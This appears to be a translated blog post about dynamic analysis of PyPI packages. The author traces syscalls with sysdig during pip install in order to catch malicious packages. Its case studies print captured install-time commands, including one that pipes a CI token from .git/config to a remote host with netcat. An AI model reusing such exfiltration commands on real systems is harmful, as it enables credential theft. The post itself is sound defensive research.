大約一年前，Python軟件基金會(Python Software Foundation)發起了一個信息請求(RFI)活動，討論如何檢測上傳到PyPI的惡意程序包。無論是接管廢棄的程序包、在流行的庫中誤植域名(Typosquatting)，還是使用憑證填充劫持程序包，很明顯，這是一個影響幾乎每一個程序包管理器的實際問題。誤植域名(Typosquatting)，也稱作URL劫持，假URL等，是一種域名搶注的形式，常常會導致品牌劫持。這種劫持的方式通常有賴于用戶在瀏覽器中輸入網址時，犯下諸如錯誤拼寫等錯誤。用戶一旦不小心輸入了一個錯誤的網址，便有可能被導向任何一個其他的網址(比如說一個域名搶注者運營的網站)。

事實上，像PyPI這樣的程序包管理器是幾乎所有公司都依賴的關鍵基礎設施。關于這個主題，我可以寫好幾天，但是我現在只寫這篇xkcd就夠了。

這是我感興趣的領域，因此我對如何處理此問題提出了自己的想法。但還有一件事困擾我：考慮安裝程序包后會發生什么。

盡管對于某些設置活動可能是必需的，但應始終使用相關查看工具來查看諸如在pip安裝過程中建立網絡連接或執行命令之類的事情，因為它沒有給開發人員太多機會在糟糕的事情發生之前檢查代碼。

我想對此做進一步的研究，因此在本文中，我將逐步介紹如何安裝和分析PyPI中的每個程序包以尋找惡意活動。

如何發現惡意庫

為了在安裝過程中運行任意命令，開發者通常會將代碼添加到程序包中的setup.py文件中，你可以在此存儲庫中看到一些示例。

在更高層次上講，你可以執行以下兩項操作來查找潛在的惡意依賴項：你可以查看代碼中的不良內容(靜態分析)，或者危險地安裝它們看看會發生什么(動態分析)。

雖然靜態分析非常有趣(我發現了npm上使用手工grep的惡意程序包)，但在這篇文章中，我將重點關注動態分析。畢竟，動態分析的能力更加強大，因為你看到的是實際發生的事情，而不是只尋找可能發生的惡意行為。

那么我們到底在尋找什么呢?

重要事情如何完成

通常，任何重要的事情在發生時都由內核完成。希望通過內核執行重要操作的普通程序(如pip)是通過使用syscall來完成的。使用syscall可以完成打開文件，建立網絡連接和執行命令的所有操作!你可以點此了解到更多的信息。

這意味著，如果我們可以在安裝Python程序包期間系統調用，則可以查看是否發生了任何可疑事件。好處是，代碼的混淆程度無關緊要，我們將看到實際發生的情況。

需要注意的是，系統調用的想法并不是我想出來的。自2017年以來，亞當·鮑德溫(Adam Baldwin) 等人一直在討論這個問題。喬治亞理工學院的研究人員發表了一篇很好的論文采用了同樣的方法。老實說，本文的大部分內容只是試圖復制他們的想法。

因此，我們想要知道系統調用具體是如何做到這一點呢?

用Sysdig查看系統調用

Sysdig 是一個超級系統工具，比 strace、tcpdump、lsof 加起來還強大?？捎脕聿东@系統狀態信息，保存數據并進行過濾和分析。使用 Lua 開發，提供命令行接口以及強大的交互界面。

有許多旨在讓你查看系統調用的工具，本文中使用的是sysdig，因為它既提供結構化輸出，又提供了一些非常好的過濾功能。

為了實現這一點，在啟動安裝程序包的Docker容器時，我還啟動了一個sysdig進程，該進程僅監控該容器中的事件。我也過濾掉了要從pypi.org或files.pythonhosted.com進行的網絡讀/寫操作，因為我不想用與程序包下載相關的流量來填充日志。

通過捕獲系統調用的方法，我不得不解決另一個問題：如何獲取所有PyPI程序包的列表。

獲取Python包

幸運的是，PyPI有一個稱為“簡單API”的API，它也可以被認為是“一個非常大的HTML頁面，其中包含指向每個程序包的鏈接”，它簡單、干凈而且比我可能會寫的任何HTML都要好。

我們可以抓取這個頁面并使用pup解析所有鏈接，從而為我們提供約268000個程序包：

在這個測試中，我只關心每個程序包的最新版本。較舊的版本中可能埋藏著惡意版本的程序包，但AWS賬單不會自己承擔。

我最終得到了一個看起來像這樣的管道：

簡而言之，我們將每個程序包名稱發送到一組EC2實例(我希望將來使用Fargate或其他東西，但我也不知道Fargate)，從PyPI獲取一些關于程序包的元數據,然后開始sysdig以及一系列的容器pip安裝程序包,系統調用和網絡流量被收集。然后，將所有數據發送到S3，以供future-Jordan處理。

這個過程如下所示：

查看結果

一旦完成上面的步驟，我將在一個S3存儲桶中存儲大約1TB的數據，覆蓋大約245000個程序包。一些程序包沒有發布的版本，一些程序包具有各種處理錯誤，但是這似乎是一個很好的示例。

以下是具體分析過程

我合并了元數據和輸出，得到如下的一系列JSON文件：

然后，我編寫了一系列腳本來開始匯總數據，以試圖了解什么是良性的，什么是惡性的。讓我們深入研究一下這些輸出結果。

網絡請求

在安裝過程中，程序包需要建立網絡連接的原因有很多，他們可能需要下載合法的二進制組件或其他資源，這可能是一種分析形式，或者可能正試圖從系統中竊取數據或憑據。

結果發現，有460個數據程序包連接到109個獨立的主機，就像上面提到的文章一樣，很多這樣的程序包都是由于程序包共享了網絡連接的依賴關系而產生的?？梢酝ㄟ^映射依賴關系來過濾掉它們，但在本文的示范中我還沒有這樣做，這是安裝過程中看到的DNS請求明細。

命令執行

像網絡連接一樣，在安裝過程中，程序包有合理的理由運行系統命令。這可能是編譯本機二進制文件，設置正確的環境等。

查看我們的樣本集，發現60725個程序包在安裝過程中正在執行命令。就像網絡連接一樣，我們必須牢記，其中許多是下游依賴項(運行命令的程序包)的結果。

有趣的程序包

正如預期的那樣，經過深入研究結果，大多數網絡連接和命令似乎都是合法的。但也有一些奇怪行為的例子，我想列舉出來作為案例研究，以說明這種類型的分析是多么有用。

(1) i-am-malicious

一個名為i-am-malicious的程序包似乎是一個惡意程序包的概念驗證，以下是一些有趣的細節，使我們認為該程序包值得研究：

{ 
  "dns": [{ 
          "name": "gist.githubusercontent.com", 
          "addresses": [ 
            "199.232.64.133" 
          ] 
    }] 
  ], 
  "files": [ 
    ... 
    { 
      "filename": "/tmp/malicious.py", 
      "flag": "O_RDONLY|O_CLOEXEC" 
    }, 
    ... 
    { 
      "filename": "/tmp/malicious-was-here", 
      "flag": "O_TRUNC|O_CREAT|O_WRONLY|O_CLOEXEC" 
    }, 
    ... 
  ], 
  "commands": [ 
    "python /tmp/malicious.py" 
  ] 
} 

我們已經知道這里發生了什么，可以看到一個到gist.github.com的連接，正在執行一個Python文件，正在創建一個名為/tmp/malicious-was-here的文件。當然，這正是setup.py中所發生的事情：

正在討論的malicious.py只是向/tmp/malicious-was-here添加了一個“我曾在這里”類型消息，表明這確實是一個概念驗證。

(2) maliciouspackage

另一個自稱為惡意程序的程序包則有創意地命名為maliciouspackage，它的攻擊能力要稍高一些。以下是相關輸出：

{ 
  "dns": [{ 
      "name": "laforge.xyz", 
      "addresses": [ 
        "34.82.112.63" 
      ] 
  }], 
  "files": [ 
    { 
      "filename": "/app/.git/config", 
      "flag": "O_RDONLY" 
    }, 
  ], 
  "commands": [ 
    "sh -c apt install -y socat", 
    "sh -c grep ci-token /app/.git/config | nc laforge.xyz 5566", 
    "grep ci-token /app/.git/config", 
    "nc laforge.xyz 5566" 
  ] 
} 

和前面一樣，根據輸出結果我們可以對正在發生的事情有了一個很好的了解。在本例中，程序包似乎從.git/config文件中提取了一個令牌，并將其上傳到laforge.xyz，我們發現確實是這樣：

(3) easyIoCtl

easyIoCtl程序包確實是一個有趣的程序包。它聲稱提供了“遠離無聊的IO操作的抽象”，但我們看到下面的命令正在執行：

結果很可疑，但并不是非常的有攻擊性。然而，這是一個展示跟蹤系統調用攻擊能力的完美示例。下面是該項目setup.py中的相關代碼：

有這么多的混淆，很難知道發生了什么。傳統的靜態分析可能會捕獲對exec的調用，但僅此而已。

要查看它在做什么，我們可以用print替換exec，結果如下：

這正是我們記錄的命令，表明即使代碼混淆也不會影響我們的結果，因為我們是在系統調用級別進行監控。

當我們發現惡意程序包時會發生什么?

這個問題有必要簡要討論一下，當我們發現惡意程序包時，我們能做些什么。要做的第一件事是通知PyPI開發者，讓他們可以得到這個程序包。這可以通過聯系security@python.org.1來實現

之后，我們可以使用BigQuery上的PyPI公共數據集查看程序包被下載了多少次。

這是一個示例查詢，用于查找在過去30天內安裝了惡意軟件包的次數：

運行這個查詢可以查出它被下載400次以上：

maliciouspackage下載

總結

第一步只是初步了解了整個PyPI，通過查看數據，我沒有發現有任何程序包做了明顯的有害活動，而且也沒有看起來惡意的名稱，雖然情況很樂觀，但是我總是有可能錯過某些事情，或者將來會發生。如果你有興趣深入研究數據，你可以在這里找到它。

接下來，我將設置一個Lambda函數來使用PyPI的RSS feed獲取最新的程序包更改，每個更新后的程序包都將經過相同的處理，并在檢測到可疑活動時發送警報。

我仍然不喜歡僅通過用戶 pip install就可以在用戶系統上運行任意命令，我知道的大多數用例都是良性的，但帶來的風險也必須考慮。希望通過越來越多地監控各種程序包管理器，我們可以在惡意活動產生重大影響之前識別其跡象。